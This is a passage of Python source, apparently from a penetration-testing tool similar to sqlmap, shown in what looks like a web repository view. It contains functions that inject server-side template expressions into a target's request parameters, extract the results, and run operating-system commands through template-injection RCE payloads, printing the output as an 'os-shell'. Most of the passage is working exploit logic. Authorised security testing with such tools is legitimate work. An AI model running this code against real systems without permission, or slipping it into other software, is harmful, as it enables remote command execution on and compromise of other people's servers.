payload = original + (engine.expressionFmt % ("'%s'" % startMarker))
|
||||
payload += " " + (engine.expressionFmt % expr)
|
||||
payload += " " + (engine.expressionFmt % ("'%s'" % endMarker))
|
||||
page = _send(place, parameter, payload)
|
||||
|
||||
if not page:
|
||||
logger.warning("no response for SSTI expression '%s'" % expr)
|
||||
return
|
||||
|
||||
text = getUnicode(page)
|
||||
result = None
|
||||
|
||||
# Extract content between the random markers
|
||||
if startMarker in text and endMarker in text:
|
||||
start = text.index(startMarker) + len(startMarker)
|
||||
end = text.index(endMarker, start)
|
||||
result = text[start:end].strip()
|
||||
|
||||
# Fallback: diff against baseline
|
||||
if not result:
|
||||
baseline = _send(place, parameter, original)
|
||||
if baseline:
|
||||
sm = difflib.SequenceMatcher(None, getUnicode(baseline), text)
|
||||
parts = []
|
||||
for tag, i1, i2, j1, j2 in sm.get_opcodes():
|
||||
if tag in ("insert", "replace"):
|
||||
parts.append(text[j1:j2])
|
||||
if parts:
|
||||
result = "".join(parts).strip()
|
||||
|
||||
if result:
|
||||
conf.dumper.singleString("SSTI expression result: %s" % result)
|
||||
else:
|
||||
logger.warning("could not extract expression result from response")
|
||||
|
||||
|
||||
def _canTakeover(engine, evidence):
|
||||
"""Require exact engine fingerprint (not a family guess) and confirmed
|
||||
proof before attempting OS command execution."""
|
||||
if not engine.rcePayloads:
|
||||
return False
|
||||
if "(probable" in engine.name or "-like" in engine.name:
|
||||
return False
|
||||
if not (evidence.get("arithmetic") or evidence.get("boolean")):
|
||||
return False
|
||||
return True
|
||||
|
||||
|
||||
def _executeCommand(place, parameter, engine, cmd):
|
||||
"""Execute an OS command via the engine's RCE payloads, trying each fallback
|
||||
in order until one produces output. Captures output via baseline diff."""
|
||||
|
||||
safeCmd = _escapeSingleQuoted(cmd)
|
||||
original = _originalValue(place, parameter) or ""
|
||||
baseline = _send(place, parameter, original)
|
||||
|
||||
for payloadTemplate, description in engine.rcePayloads:
|
||||
payload = payloadTemplate.replace("{CMD}", safeCmd)
|
||||
fullPayload = original + payload
|
||||
page = _send(place, parameter, fullPayload)
|
||||
|
||||
if not page:
|
||||
continue
|
||||
|
||||
# Skip error pages (payload caused a template exception, not a shell)
|
||||
if engine.errorRegex and _isError(page, engine):
|
||||
continue
|
||||
|
||||
text = getUnicode(page)
|
||||
baseText = getUnicode(baseline or "")
|
||||
output = ""
|
||||
|
||||
if baseText and text != baseText:
|
||||
sm = difflib.SequenceMatcher(None, baseText, text)
|
||||
opcodes = sm.get_opcodes()
|
||||
parts = []
|
||||
for tag, i1, i2, j1, j2 in opcodes:
|
||||
if tag in ("insert", "replace"):
|
||||
parts.append(text[j1:j2])
|
||||
if parts:
|
||||
output = "".join(parts).strip()
|
||||
|
||||
if not output:
|
||||
output = text
|
||||
if original and output.startswith(original):
|
||||
output = output[len(original):]
|
||||
output = output.strip()
|
||||
|
||||
# Suppress when output is just the baseline with the original value removed
|
||||
# (command produced no output; the template rendered empty)
|
||||
# Filter out template error messages masquerading as command output
|
||||
if output and _ratio(output, baseText) < UPPER_RATIO_BOUND:
|
||||
if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output):
|
||||
conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output))
|
||||
return
|
||||
|
||||
logger.warning("no output received for OS command '%s' (tried %d payload(s))" % (cmd, len(engine.rcePayloads)))
|
||||
Loading…
Add table
Add a link
Reference in a new issue